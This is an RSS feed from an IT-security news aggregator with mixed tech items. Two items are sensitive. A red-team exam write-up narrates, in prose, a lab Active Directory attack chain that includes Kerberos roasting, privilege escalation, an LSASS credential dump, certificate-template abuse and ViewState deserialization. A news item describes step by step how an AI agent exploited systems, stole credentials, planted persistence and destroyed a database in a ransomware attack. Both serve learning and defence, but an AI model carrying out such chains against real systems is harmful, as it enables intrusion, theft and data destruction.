<content:encoded><![CDATA[<p>Flipper Devices has responded to intense community backlash over perceptions that it had abandoned active development of the Flipper Zero firmware. In a statement addressing the controversy, the company announced it will allocate dedicated resources to firmware maintenance while overhauling…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/">Flipper Zero Firmware Development Continues With New Community Contribution Rules</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flipper Zero Firmware Development Continues With New Community Contribution Rules]]></title>
<description><![CDATA[Flipper Devices has responded to intense community backlash over perceptions that it had abandoned active development of the Flipper Zero firmware. In a statement addressing the controversy, the company announced it will allocate dedicated resources to firmware maintenance while overhauling how i...]]></description>
<link>https://tsecurity.de/de/3646850/it-security-nachrichten/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646850/it-security-nachrichten/flipper-zero-firmware-development-continues-with-new-community-contribution-rules/</guid>
<pubDate>Sun, 05 Jul 2026 16:52:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Flipper Devices has responded to intense community backlash over perceptions that it had abandoned active development of the Flipper Zero firmware. In a statement addressing the controversy, the company announced it will allocate dedicated resources to firmware maintenance while overhauling how it engages with contributors and feature requesters. The Flipper Zero project launched via Kickstarter […]</p>
<p>The post <a href="https://cybersecuritynews.com/flipper-zero-firmware-development/">Flipper Zero Firmware Development Continues With New Community Contribution Rules</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Rescue Mode: How to Recover a Broken System]]></title>
<description><![CDATA[Every Linux user breaks their system eventually. This guide covers rescue mode, filesystem repair, GRUB recovery, root password resets, and chroot workflows across Ubuntu, Fedora, and Arch Linux.]]></description>
<link>https://tsecurity.de/de/3646290/linux-tipps/linux-rescue-mode-how-to-recover-a-broken-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646290/linux-tipps/linux-rescue-mode-how-to-recover-a-broken-system/</guid>
<pubDate>Sun, 05 Jul 2026 08:09:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every Linux user breaks their system eventually. This guide covers rescue mode, filesystem repair, GRUB recovery, root password resets, and chroot workflows across Ubuntu, Fedora, and Arch Linux.]]></content:encoded>
</item>
<item>
<title><![CDATA[Video Game History Foundation Says Piracy Remains the Only Viable Preservation Method]]></title>
<description><![CDATA[An anonymous reader quotes a report from TechSpot: Video Game History Foundation founder Frank Cifaldi recently supported claims that piracy is the only effective way to preserve video games. The comments lay the blame squarely on game companies' refusal to keep legacy content available or allow ...]]></description>
<link>https://tsecurity.de/de/3644927/it-security-nachrichten/video-game-history-foundation-says-piracy-remains-the-only-viable-preservation-method/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644927/it-security-nachrichten/video-game-history-foundation-says-piracy-remains-the-only-viable-preservation-method/</guid>
<pubDate>Sat, 04 Jul 2026 09:08:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from TechSpot: Video Game History Foundation founder Frank Cifaldi recently supported claims that piracy is the only effective way to preserve video games. The comments lay the blame squarely on game companies' refusal to keep legacy content available or allow archivists to build legal repositories. Sony's announcement that all PlayStation games will be digital-only from 2028 onward has sparked concern that titles will become harder to preserve and more easily vanish, since the company's servers will become the sole point of distribution. In an official statement, Cifaldi noted that the end of physical PlayStation games has surprisingly little impact on the Foundation's efforts because the majority of games from the last two decades are already digital-only.
 
According to the Foundation, most games nowadays are not released for consoles, let alone on physical discs. Furthermore, many discs for major titles require downloading updates before they are playable, although the DoesItPlay database reveals that, even today, most are playable offline out of the box. Cifaldi claimed that the true reason piracy remains the best option for preservation is that the Entertainment Software Association, which lobbies for game publishers, has closed off other routes. For example, in 2018, the Association opposed efforts to grant copyright exemptions for museums, libraries, and archives to retain copies of abandoned online games for research.
 
This is the same organization that recently helped defeat a proposed California bill to preserve premium-priced online-only games by falsely claiming that community servers are illegal. The Foundation accused the ESA of repeatedly blocking attempts by cultural heritage institutions to reform DRM legislation. Cifaldi also described the Library of Congress' outdated software preservation process, which currently only requires tiny snippets of source code. For example, Capcom once asked the Foundation to provide the LoC with "the first and last ten pages of code" for a Mega Man game. Unable to discern where digital records began and ended, the group simply chose random segments. Platform holders' habit of closing online storefronts and removing media from users' accounts is also unhelpful. "What continues to baffle us is what the industry expects institutions like ours to do about it," the Video Game History Foundation said. "If platform owners are deciding to eliminate physical media and older digital storefronts, then we'd also like to see trade groups like the Entertainment Software Association offer meaningful solutions for archives and museums to legally preserve digital-only content and make it accessible for research.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Video+Game+History+Foundation+Says+Piracy+Remains+the+Only+Viable+Preservation+Method%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F03%2F1652234%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F03%2F1652234%2Fvideo-game-history-foundation-says-piracy-remains-the-only-viable-preservation-method%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/07/03/1652234/video-game-history-foundation-says-piracy-remains-the-only-viable-preservation-method?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CLI v3.0.35]]></title>
<description><![CDATA[ClinePass is now enabled for all CLI users
Recover missing interactive sessions when reading messages
Format structured commands in history export
Add the subscription promo code when linking to the dashboard subscription page
Add Tencent TokenHub as a provider (from SDK v0.0.55)
Fix first-prompt...]]></description>
<link>https://tsecurity.de/de/3644154/downloads/cli-v3035/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644154/downloads/cli-v3035/</guid>
<pubDate>Fri, 03 Jul 2026 19:47:20 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>ClinePass is now enabled for all CLI users</li>
<li>Recover missing interactive sessions when reading messages</li>
<li>Format structured commands in history export</li>
<li>Add the subscription promo code when linking to the dashboard subscription page</li>
<li>Add Tencent TokenHub as a provider (from SDK v0.0.55)</li>
<li>Fix first-prompt truncation on high-output models (e.g. MiniMax M3) that could immediately auto-compact and cut the initial task down to just the input wrapper (from SDK v0.0.55)</li>
<li>Use a curated default when migrating legacy provider settings (from SDK v0.0.55)</li>
<li>Advertise run commands as shell strings (from SDK v0.0.55)</li>
<li>Refresh the bundled model catalog with the latest provider models (from SDK v0.0.55)</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/cline/cline/compare/cli-v3.0.34...cli-v3.0.35"><tt>cli-v3.0.34...cli-v3.0.35</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: alisalive LinkedIn: camalzads Platform: CyberWarfare Labs (CWL) Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory ForestA few months back I finished the AD-RTS course material from C...]]></description>
<link>https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643709/hacking/certified-ad-red-team-specialist-ad-rts-full-exam-write-up/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:06 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTIA7B832VNBN7OzR31H_Q.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub: <a href="http://github.com/alisalive">alisalive </a><br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads </a><br>Platform: CyberWarfare Labs (CWL) <br>Certification: AD-RTS — Active Directory Red Team Specialist Environment: TELECOM INC. — Simulated Telecom-Sector Active Directory Forest</h4><p>A few months back I finished the AD-RTS course material from CyberWarfare Labs — four modules covering core Active Directory internals, Certificate Services abuse, Exchange Server exploitation, and ESXi-to-AD integration attacks. The course itself is dense, but the real test is the 30-day flag-based challenge lab that comes after it: a live, self-contained telecom environment called telecore.ad, built around a fictional company, TELECOM INC., with a Domain Controller, a SQL Server, a PKI/ADCS server, an Exchange server, an IIS-hosted internal web application, and an ESXi hypervisor sitting inside the same domain.</p><p>The exam is split into two independent adversary paths. Path 1 assumes zero credentials and zero prior access — you start with nothing but an IP range. Path 2 assumes you already have a low-privilege authenticated foothold on a public-facing web server and have to escalate from there. Both paths converge on the same underlying domain, but the entry vectors, the misconfigurations abused, and the final objectives are completely different. This write-up walks through the full methodology for both paths, exactly as I approached them, without listing the specific flag values captured along the way — the point here is the how, not the what.</p><p>Target: TELECOM INC. internal AD forest (telecore.ad) Stack: Windows Server 2022 Domain Controller, MS SQL Server (SQLEXPRESS), ADCS Certificate Authority, Exchange Server, IIS 10 / ASP.NET Web Forms, VMware ESXi with AD-joined authentication Assessment Type: Adversary emulation — unauthenticated black-box (Path 1) and authenticated foothold escalation (Path 2) Tools: nmap, dig, ldapsearch, Impacket suite (GetNPUsers, mssqlclient, wmiexec, secretsdump), hashcat, John the Ripper, GodPotato, certipy-ad, rpcclient, smbclient, pyVmomi, ysoserial.net, exchangelib, netexec</p><h3>Path 1: Unauthenticated Adversary</h3><p>The brief for Path 1 is deliberately minimal: you are handed a /24 and told to behave like a telecom-motivated APT starting from zero. No credentials, no internal knowledge, nothing but network reachability into the range.</p><h3>Mapping the DNS Infrastructure</h3><p>Every internal Windows environment leans on DNS to keep itself glued together, and that dependency is usually the first crack an attacker can pry open. A UDP sweep across port 53 on the target range revealed multiple name servers, one of which turned out to be a secondary, less-hardened DNS instance sitting outside the domain controller itself. Once I pointed my resolver configuration at that secondary server, a full PTR sweep across the subnet mapped every reverse DNS record in the environment — instantly revealing the hostnames and roles of every server in play: the domain controller, the SQL server, the certificate authority, the Exchange server, and the hypervisor, all before a single authenticated packet had been sent.</p><p>The real opening, though, came from testing whether that secondary DNS server would honor a zone transfer request. It did — both in the reverse zone and in the forward zone for telecore.ad. AXFR being enabled on an internet- or perimeter-adjacent DNS server is a classic, almost nostalgic misconfiguration, but it remains devastatingly effective: a single dig command handed over the complete internal namespace, service records, and IP-to-hostname mapping for the entire forest, again with zero authentication.</p><p>With the domain controller identified from the zone transfer, the next step was straightforward LDAP enumeration over anonymous bind — pulling the domain’s functional level, then walking the directory for every object under objectClass=user and objectClass=computer. This produces two things that matter enormously for what comes next: a clean list of real domain user accounts (filtered out from the noise of Exchange system mailboxes and health-check accounts that always clutter a mailbox-enabled AD), and a map of which machines in the domain hold interesting roles.</p><h3>From Kerberos Pre-Auth to a Foothold on SQL</h3><p>With a legitimate username list in hand, the obvious next move was to test for accounts with Kerberos pre-authentication disabled — the classic ASREPRoasting misconfiguration. Impacket’s GetNPUsers module does this cleanly: it walks the username list and, for any account with the UF_DONT_REQUIRE_PREAUTH flag set, returns a crackable AS-REP hash without ever needing to know the account’s password up front. One of the service-oriented accounts in the environment had exactly this misconfiguration, and the resulting hash fell quickly to a dictionary attack.</p><p>Cracked credentials in hand, the next question was where they were actually valid. Cross-referencing against the computer objects pulled during LDAP enumeration pointed straight at the SQL Server. Authenticating to it with Impacket’s MSSQL client confirmed the account held sysadmin-equivalent rights on the instance — enough to re-enable the xp_cmdshell extended stored procedure, which is disabled by default on modern SQL Server but, once flipped back on, gives arbitrary OS command execution in the context of the SQL service account.</p><h3>From Service Account to SYSTEM</h3><p>Command execution as the SQL service account is useful, but it’s not the finish line — the account only had ordinary service-level privileges. A privilege check revealed SeImpersonatePrivilege was enabled, which is the precondition for the entire family of “Potato” privilege escalation exploits. On a fully patched, modern Windows Server build, most of the older Potato variants (RoguePotato, JuicyPotato, PrintSpoofer) have been closed off, but GodPotato remains effective against current builds because it abuses a lower-level RPC/DCOM marshaling primitive rather than a specific, patchable service misconfiguration.</p><p>Dropping GodPotato onto the SQL box through the xp_cmdshell channel and triggering it against a reverse shell payload elevated the session cleanly from a low-privilege service account to NT AUTHORITY\SYSTEM.</p><p>With SYSTEM on the SQL server, the natural move was a credential harvest from LSASS. Rather than dropping a third-party dumping tool that’s likely to trip EDR, I used the built-in comsvcs.dll MiniDump export via rundll32 — a living-off-the-land technique that doesn’t touch disk with anything outside of what Windows already ships. The resulting dump was compressed, exfiltrated back to the attacking host over a simple HTTP upload listener, and parsed offline with pypykatz, which yielded NTLM hashes and Kerberos material for every account that had ever authenticated interactively or as a service on that box — including a domain account with a considerably more interesting set of permissions than the one I’d started with.</p><h3>Abusing ADCS: ESC1 to Domain Admin</h3><p>The newly recovered account turned out to have enrollment rights on a certificate template published by the internal PKI, and enumerating that CA with certipy-ad flagged the template as vulnerable to the ESC1 misconfiguration: the template allows the requester to supply an arbitrary Subject Alternative Name while also permitting client authentication, meaning any authenticated user with enroll rights can request a certificate asserting an identity that isn’t their own — including Domain Admin.</p><p>Before actually requesting the certificate, it’s worth noting the certifried mitigation Microsoft shipped in response to CVE-2022–26923: modern domain controllers now cross-check the SID embedded in the certificate’s security extension against the SAN identity, so simply putting an administrator’s UPN in the SAN field is no longer sufficient on its own — you also need the correct objectSid for that account, retrievable over RPC with a simple SID lookup against the domain controller. With both the UPN and the correct SID supplied in the certificate request, the CA issued a certificate that authenticated as the Domain Administrator, and that certificate could then be exchanged for the account’s NT hash directly — no interactive logon, no password reset, just a straightforward abuse of a legitimate PKI enrollment workflow.</p><p>From there it was a matter of cracking the recovered hash offline and confirming Domain Admin access against the domain controller directly, which also surfaced an interesting security group in the domain that doesn’t exist in a stock AD install: an ESX Admins group, hinting strongly at the next phase of the assessment.</p><h3>Pivoting into the Hypervisor</h3><p>ESXi hosts joined to Active Directory for centralized authentication are common in mixed enterprise environments, and telecore.ad had exactly this setup: the hypervisor trusted domain credentials, and membership in that ESX Admins group translated directly into root-equivalent access on the host. With the cracked Domain Admin credential, I authenticated to the ESXi host and used the pyVmomi SDK — VMware’s official Python bindings for the vSphere API — to programmatically enumerate every guest VM running on the hypervisor: power state, guest OS, VMware Tools status, and, critically, the free-text annotation/notes field attached to each VM object.</p><p>Notes fields on virtual machines are a surprisingly common dumping ground for exactly the kind of information that should never live there — and this environment was no exception. One particular guest VM had its local credentials sitting in plaintext in its own annotation field, visible to anyone with sufficient ESXi permissions to query VM metadata.</p><p>With ESXi root privileges and VMware Tools confirmed present on the target guest, the final move didn’t require touching the guest’s network interface at all. VMware Tools exposes a guest operations API that lets an ESXi-privileged operator execute arbitrary processes directly inside a running guest VM, authenticated with the guest’s own local credentials, entirely out-of-band from the guest’s actual network stack. I used this to launch a reverse shell process inside the guest, landing an interactive session on what the environment had positioned as its most sensitive internal system — completing the unauthenticated attack path from a bare IP range down to code execution on a hardened internal Linux host, entirely through Active Directory, certificate services, and hypervisor misconfigurations chained together.</p><h3>Path 2: Authenticated Adversary</h3><p>Path 2 starts from a completely different assumption: you already have low-privilege, unauthenticated-but-network-reachable access to a single public-facing IIS web application, and the objective is privilege escalation and lateral movement from that single entry point through to sensitive business data.</p><h3>Breaking the ASP.NET ViewState</h3><p>The target application was a fairly standard ASP.NET Web Forms site — the kind of legacy internal tooling that telecom operators tend to keep running long past its expected lifespan. Web Forms pages carry a hidden __VIEWSTATE field that encodes serialized page state, cryptographically signed (and optionally encrypted) using a machine key configured in the application’s web.config. If that machine key is ever exposed, the ViewState mechanism — designed purely for tamper protection — becomes a fully general .NET deserialization gadget, because the framework will happily deserialize and execute anything correctly signed with the right key.</p><p>The application exposed a reporting feature that read files from the local filesystem based on a URL parameter, with essentially no path validation. That’s a textbook local file inclusion primitive, and the highest-value target for it was obvious: the application’s own web.config, which — as is unfortunately common — held its ViewState validation key and algorithm directly in cleartext, alongside a setting that explicitly relaxed the URL-to-filesystem mapping to make path traversal easier rather than harder.</p><p>With the validation key, the algorithm, and the ViewState generator value scraped from the page’s own markup, I had everything ysoserial.net needs to forge a malicious ViewState blob. The TextFormattingRunProperties gadget chain — which abuses a WPF-related deserialization path to spawn an arbitrary process — turned that forged, correctly-signed ViewState payload into direct remote code execution the moment it was replayed against the application’s own postback endpoint. No credentials, no authentication bypass in the traditional sense — just a trust boundary (the machine key) that had leaked into a place it was never supposed to be reachable from.</p><h3>Registry Credentials and DPAPI</h3><p>Command execution through the ViewState gadget landed in the context of the IIS application pool identity — not a domain account, but still a foothold worth building on. A search through predictable locations on the host surfaced a custom internal application with its own registry key under HKLM\SOFTWARE, storing a domain service account’s username in cleartext alongside a Base64-encoded, DPAPI-protected password blob.</p><p>Storing secrets in a machine-scoped registry hive that any local process can read is already a mistake, but the developer had additionally used DPAPI’s LocalMachine protection scope rather than CurrentUser — meaning any process running on that specific machine, regardless of which user account it’s running as, can decrypt the blob using nothing but the machine’s own DPAPI master key. A short PowerShell snippet using the standard System.Security.Cryptography.ProtectedData class was enough to unwrap it and recover a plaintext domain credential for a genuinely useful service account.</p><h3>A Second Path Through ADCS</h3><p>That newly recovered service account turned out to have its own enrollment rights on a different certificate template in the same PKI — again vulnerable to the same ESC1 misconfiguration pattern seen in Path 1, just via a different template and a different starting account. The exploitation mechanics were identical: enumerate the vulnerable template, retrieve the target’s SID over RPC, forge a certificate request asserting the Domain Administrator’s identity, authenticate with the issued certificate, and recover the corresponding NT hash — landing Domain Admin from an entirely different starting point than Path 1, but through the same underlying PKI weakness. It’s a good illustration of why a single vulnerable certificate template rarely stays contained to one attack path; if more than one principal can enroll against it, it’s effectively a shared skeleton key for the domain.</p><p>From there, authenticating directly to the domain controller as Domain Admin opened up the full SMB share tree, and a look through the Windows Task Scheduler’s on-disk task definitions turned up something unusual: a scheduled task configured to run a PowerShell script under the Administrator’s own context, seemingly for routine mailbox maintenance. Pulling that script down and reading through it revealed hardcoded Exchange service credentials — again stored in plaintext, this time inside a script whose entire purpose was mailbox automation.</p><h3>Exchange Impersonation and Mailbox Enumeration</h3><p>The credentials recovered from that scheduled task belonged to an operations-focused service account, and a quick programmatic check against the Exchange server confirmed it had been granted the ApplicationImpersonation management role — an Exchange RBAC role that, by design, allows a single service account to act on behalf of any mailbox in the organization without needing that mailbox’s own credentials. It’s an entirely legitimate feature meant for backup, migration, and integration tooling, but when the account holding it also has weak or exposed credentials, it collapses into a universal mailbox-reading primitive.</p><p>Using the Exchange Web Services API with that account’s impersonation rights pointed at the Administrator’s own mailbox, I was able to enumerate the Inbox, Sent Items, and Drafts folders directly — no need to ever touch the Administrator’s actual password. Reading through the recovered correspondence surfaced exactly the kind of operational detail that internal email threads tend to accumulate over time: database credentials shared between a DBA and an operations contact for a production SQL instance, network infrastructure access details passed along in a router-maintenance thread, and references to an internal marketing campaign server mentioned in passing in an unrelated message chain. None of this was the result of a single exploit — it was simply what falls out of an inbox that’s been collecting operational chatter for months, once you have legitimate-looking read access to it.</p><p>That last stretch of Path 2 is worth reflecting on separately, because it’s a different category of finding than everything before it. Getting to Domain Admin via ADCS ESC1 is a hard technical exploit with a clean root cause and a clean fix — restrict enrollment rights, disable enrollee-supplied subject, or require manager approval on the template. Reading sensitive operational secrets out of an executive’s inbox because a service account with impersonation rights had weak credentials is a softer, more human failure mode — and honestly the one that’s hardest to fully close, because impersonation itself is a legitimate and necessary Exchange feature. The fix there isn’t technical elimination, it’s credential hygiene and RBAC scoping: impersonation rights should be scoped to the specific mailboxes a given integration actually needs, not granted organization-wide by default, and any account holding that role deserves the same protection posture as a Domain Admin account, because functionally it often is one.</p><h3>Closing Thoughts</h3><p>Looking back at both paths together, the pattern that stands out most isn’t any single vulnerability class — it’s how often the misconfigurations were individually mundane and collectively devastating. A DNS server that shouldn’t allow zone transfers. An account that shouldn’t skip Kerberos pre-auth. A certificate template that shouldn’t let requesters pick their own identity. A registry key that shouldn’t hold a password, even an encrypted one, at machine scope. A scheduled task script that shouldn’t hardcode credentials. None of these individually would make a headline vulnerability disclosure. Chained together, in the right order, they took an anonymous position on a /24 all the way to Domain Admin and hypervisor-level code execution, twice, through two completely different entry points.</p><p>That’s really the entire thesis of AD-RTS as a certification, and it’s the same lesson every serious AD engagement eventually teaches: defenders tend to think in terms of individual controls, and attackers think in terms of paths. The environments that hold up aren’t the ones with zero misconfigurations — that bar doesn’t exist in any real enterprise — they’re the ones where no single chain of small mistakes reaches all the way to the crown jewels.</p><p>If you’re working through AD-RTS yourself, my honest advice is to resist the urge to jump straight to the tooling. Every phase of this exam rewards understanding why a technique works before running it — ASREPRoasting only makes sense once you understand what Kerberos pre-authentication is actually protecting against, and ESC1 only clicks once you understand what a certificate template’s enrollment permissions and SAN policy are actually meant to enforce. The course material front-loads that theory for a reason.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-p06VDmeewZgy9f12e7jQ.png"></figure><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my tools on</em> <a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=40f5e9450703" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/certified-ad-red-team-specialist-ad-rts-full-exam-write-up-40f5e9450703">Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Agent Executes 'First' End-To-End Ransomware Attack]]></title>
<description><![CDATA[Sysdig says it has documented the first ransomware attack carried out end to end by an AI agent, which autonomously exploited exposed systems, stole credentials, established persistence, compromised a production database, and destroyed data. The research team named the attacker "JadePuffer" and s...]]></description>
<link>https://tsecurity.de/de/3642160/it-security-nachrichten/ai-agent-executes-first-end-to-end-ransomware-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642160/it-security-nachrichten/ai-agent-executes-first-end-to-end-ransomware-attack/</guid>
<pubDate>Thu, 02 Jul 2026 22:08:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sysdig says it has documented the first ransomware attack carried out end to end by an AI agent, which autonomously exploited exposed systems, stole credentials, established persistence, compromised a production database, and destroyed data. The research team named the attacker "JadePuffer" and said it gained initial access to an internet-facing Langflow instance by exploiting CVE-2025-3248. "The most striking characteristic, however, was the LLM's behavior," Sysdig director of threat research Michael Clark said in a blog post. An anonymous reader quotes an excerpt from The Register: JadePuffer's "self-narrating" payloads "contained natural language reasoning, target prioritization, and the kind of detailed annotations that human operators don't often write but LLM-generated code produces reflexively," Clark added. "The operation also adapted in real time, retrying failed steps within refined parameters. In one sequence, it went from a failed login to a working fix in 31 seconds." After exploiting CVE-2025-3248, a missing authentication vulnerability in Langflow that allows remote, unauthenticated attackers to execute arbitrary Python on the host, the AI agent began scanning for and collecting secrets, including LLM provider API keys, cloud credentials "with explicit coverage of Chinese providers" including Alibaba, Aliyun, Tencent, and Huawei, while also scanning for AWS, Azure and Google Cloud Platform, cryptocurrency wallets, and database credentials.
 
The AI also installed a crontab entry on the Langflow server to maintain persistence and call back to the attacker's infrastructure every 30 minutes. JadePuffer's intended target was a separate internet-exposed production server running a MySQL database and an Alibaba Nacos configuration service, we're told. Nacos is an open-source service-discovery and dynamic configuration platform developed by Alibaba and used in the cloud provider's microservices applications. The agent connected to the server's exposed MySQL port using root credentials, although Sysdig doesn't know how the attacker obtained them. These credentials weren't stolen from the victim's environment.
 
JadePuffer then attacked Nacos via multiple vectors including an authorization bypass flaw (CVE-2021-29441) and forging a valid JSON web token (JWT) using Nacos's default signing key. Additionally, using its root database access, the LLM injected a backdoor administrator into the Nacos backing database. It ultimately encrypted all 1,342 Nacos service configuration items using MySQL's built-in AES encryption function, and created an extortion demand, ransom note, Bitcoin payment address, and a Proton Mail contact [...]. However, according to the threat hunters, the victim can't recover the encrypted data, even if they paid the ransom demand, because the agent escalated "from row-level deletion to dropping entire database schemas, narrating its own targeting rationale," without backing up any of the encrypted data.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AI+Agent+Executes+'First'+End-To-End+Ransomware+Attack%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F02%2F1849243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F02%2F1849243%2Fai-agent-executes-first-end-to-end-ransomware-attack%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/07/02/1849243/ai-agent-executes-first-end-to-end-ransomware-attack?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla’s Q2 sales jump 25 percent]]></title>
<description><![CDATA[Tesla just released its second-quarter delivery and production report, showing that the automaker is starting to recover after a particularly brutal sales year in 2025. The company said that it produced a total of 451,758 vehicles between April and June of this year, including 442,936 Model 3 and...]]></description>
<link>https://tsecurity.de/de/3641434/it-nachrichten/teslas-q2-sales-jump-25-percent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641434/it-nachrichten/teslas-q2-sales-jump-25-percent/</guid>
<pubDate>Thu, 02 Jul 2026 16:17:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tesla just released its second-quarter delivery and production report, showing that the automaker is starting to recover after a particularly brutal sales year in 2025. The company said that it produced a total of 451,758 vehicles between April and June of this year, including 442,936 Model 3 and Model Y vehicles, as well as 8,822 […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla Sales Surge as Sales Recover in Europe]]></title>
<description><![CDATA[Price cuts helped the electric automaker rebound in Europe in the second quarter, offsetting declines in the United States.]]></description>
<link>https://tsecurity.de/de/3641291/it-nachrichten/tesla-sales-surge-as-sales-recover-in-europe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641291/it-nachrichten/tesla-sales-surge-as-sales-recover-in-europe/</guid>
<pubDate>Thu, 02 Jul 2026 15:18:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Price cuts helped the electric automaker rebound in Europe in the second quarter, offsetting declines in the United States.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why an idempotency key isn’t an idempotency guarantee]]></title>
<description><![CDATA[It started with a one-line message from a finance team on a Tuesday afternoon: A handful of customers had been charged twice that day, and one was disputing a duplicate charge with their bank.



I went straight to the monitoring, expecting to find something broken. Instead, everything looked hea...]]></description>
<link>https://tsecurity.de/de/3640602/ai-nachrichten/why-an-idempotency-key-isnt-an-idempotency-guarantee/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640602/ai-nachrichten/why-an-idempotency-key-isnt-an-idempotency-guarantee/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It started with a one-line message from a finance team on a Tuesday afternoon: A handful of customers had been charged twice that day, and one was disputing a duplicate charge with their bank.</p>



<p>I went straight to the monitoring, expecting to find something broken. Instead, everything looked healthy: By the system’s own records, every order had been paid exactly once. It took the team a month of digging through production incidents to close the gap between a dashboard that said, “all good,” and a customer billed twice.</p>



<p>I’ve since seen this kind of failure across multiple payment systems, some handling hundreds of thousands of transactions a day. What follows is a composite and doesn’t describe any single system or organization. The numbers, timings and identifying details have been changed to keep anything proprietary out.</p>



<h2 class="wp-block-heading">The retry that charged twice</h2>



<p>A customer clicked Pay; the order service called the payment service, which called the external provider. The provider charged the card for $200 and recorded a success on its side.</p>



<p>The only thing that went wrong was timing. The provider was under load and took just over 3 seconds to answer. The client gave up after 2 seconds, a default inherited from internal service calls and never tuned for payments. From the caller’s side, the call had simply failed, so nothing was marked as paid.</p>



<p>The retry logic did what it was built to do and sent the request again. The provider saw what looked like a fresh charge and took the money a second time. The database recorded one payment: the retry. The first charge lived only in the provider’s records, invisible to us until the complaints came in.</p>


